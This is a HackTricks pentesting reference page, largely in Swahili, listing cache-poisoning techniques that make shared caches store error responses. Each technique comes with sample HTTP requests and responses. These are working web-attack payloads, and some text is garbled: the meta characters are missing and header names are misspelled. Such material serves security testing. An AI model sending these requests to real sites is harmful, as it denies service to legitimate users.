Cache Poisoning to DoS

Support HackTricks

Katika ukurasa huu unaweza kupata tofauti mbalimbali za kujaribu kufanya seva ya wavuti ijibu kwa makosa kwa maombi ambayo ni halali kwa seva za cache

  • HTTP Header Oversize (HHO)

Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaou supported na seva ya wavuti lakini mdogo kuliko ule unaou supported na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Thamani zisizotarajiwa

Tuma kichwa kinachojumuisha baadhi ya herufi za meta zenye madhara kama na . Ili shambulio kufanikiwa, lazima upite cache kwanza.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

A badly configured header could be just \: as a header.

Hii inaweza pia kufanya kazi ikiwa thamani zisizotarajiwa zitatumwa, kama vile Content-Type zisizotarajiwa:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

Baadhi ya tovuti zitarudisha msimbo wa hali ya kosa ikiwa zinaona vichwa fulani maalum katika ombi kama vile na kichwa X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama X-HTTP-Method-Override, X-HTTP-Method au X-Method-Override. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linahifadhiwa:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Unkeyed Port

Ikiwa bandari katika kichwa cha Host inarejelewa katika jibu na haijajumuishwa katika ufunguo wa cache, inawezekana kuielekeza kwenye bandari isiyotumika:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Kama katika mfano ufuatao, x haikuhifadhiwa, hivyo mshambuliaji anaweza kutumia tabia ya majibu ya kuelekeza ili kufanya kuelekeza kutuma URL kubwa kiasi kwamba inarudisha kosa. Kisha, watu wanaojaribu kufikia URL bila funguo ya x isiyohifadhiwa watapata jibu la kosa:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Kurekebisha kesi ya kichwa cha mwenyeji

Kichwa cha mwenyeji kinapaswa kuwa kisicho na kesi lakini baadhi ya tovuti zinatarajia kuwa katika herufi ndogo na kurudisha kosa ikiwa si hivyo:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Path normalization

Baadhi ya kurasa zitarejesha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia iliyofanywa URLdecode:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Baadhi ya seva za cache, kama Cloudflare, au seva za wavuti, zinaacha maombi ya GET yenye mwili, hivyo hii inaweza kutumika vibaya kuhifadhi jibu lisilo sahihi:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

References

Support HackTricks

Last updated